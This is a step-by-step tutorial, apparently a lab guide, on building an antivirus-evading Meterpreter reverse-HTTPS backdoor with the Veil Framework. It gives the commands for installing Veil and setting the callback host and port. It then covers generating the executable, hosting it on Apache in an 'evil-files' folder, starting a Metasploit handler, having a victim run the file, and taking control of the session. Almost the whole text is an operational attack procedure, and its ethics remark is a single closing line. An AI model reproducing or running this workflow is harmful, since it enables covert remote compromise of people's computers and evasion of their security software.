Using Veil Framework To Create A Backdoor1 Introductionveil Is A Tool

Veil is a tool designed to generate metasploit payloads (Meterpreter) that bypass common anti-virus solutions. Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.

Metepreter was originally written by skape for Metasploit 2.x, common extensions were merged for 3.x and is currently undergoing an overhaul for Metasploit 3.3. Msfconsole handles the incoming connection. Msfconsole is a part of Metasploit Framework Reverse http: victim acts as client. Not the attack. Backdoor connect to me (attacker) to void anti-virus detection.

To create a backdoor using the Veil Framework, the following steps need to be followed:

Step 1: Check environment setting up

Verify your network configuration:

  • My Windows IP: 10.0.2.8

  • Kali IP: 10.0.2.7

Step 2: Install Veil in Kali

To install Veil, open a Kali Terminal and follow these commands:

  1. mkdir opt

  2. cd opt

  3. git clone https://github.com/Veil-Framework/Veil

  4. cd Veil

  5. cd setup

  6. ./setup.sh (enter "y" if asked)

  7. Close the console

Step 3: Attacker set payload options using Veil

Open the console to set up the payload:

  1. cd /opt/Veil

  2. ./Veil.py (launch Veil interface)

  3. list (to show available tools)

  4. use 1 (using Evasion tool)

  5. list (list all payloads)

  6. use 15 (go/meterpreter/rev_https.py)

  7. set LHOST 10.0.2.7 (this IP is for the attack machine)

  8. set LPORT 8080 (HTTP port for communication)

  9. set SLEEP 6 (modify parameters as needed)

Step 4: Attacker uses Veil to generate backdoor payload

Generate the backdoor executable:

  1. generate (command to create the payload)

  2. rev_https_8080 (name the backdoor for easy reference)

  3. (check if the backdoor is detected by antivirus)

  4. Close the console/Terminator

Step 5: Attacker load the backdoor to the website

Upload the generated backdoor to the web server:

  1. Open a file folder

  2. Create a folder named 'evil-files' in /var/www/html

  3. Copy /usr/share/veil-output/compiled/rev_https_8080.exe to evil-files

  4. Start the Apache web server with the command: service apache2 start

Step 6: Attacker listening for incoming connections

Prepare to listen for connections from the victim:

  1. Open msfconsole

  2. use exploit/multi/handler

  3. set PAYLOAD windows/meterpreter/reverse_https

  4. show options (to review configuration)

  5. set LHOST 10.0.2.7

  6. set LPORT 8080

  7. exploit (begin listening for the connection)

Step 7: Victim download the backdoor payload from the website

On the victim's Windows machine, open Internet Explorer:

  1. Navigate to 10.0.2.7/evil-files

  2. Click on rev_https_8080.exe and run it

Step 8: Access the victim’s machine

Once the victim runs the backdoor, access it using:

  1. Enter the command: sessions -i

  2. Enter your session ID: session -i 1

  3. Run sys info and ps to retrieve information from the victim’s machine

Conclusion

The Veil Framework is a powerful tool that allows attackers to create effective payloads that can bypass antivirus solutions. By following the steps outlined, an attacker can successfully generate a backdoor and establish a connection to the victim's machine. However, this knowledge must be used responsibly and ethically.
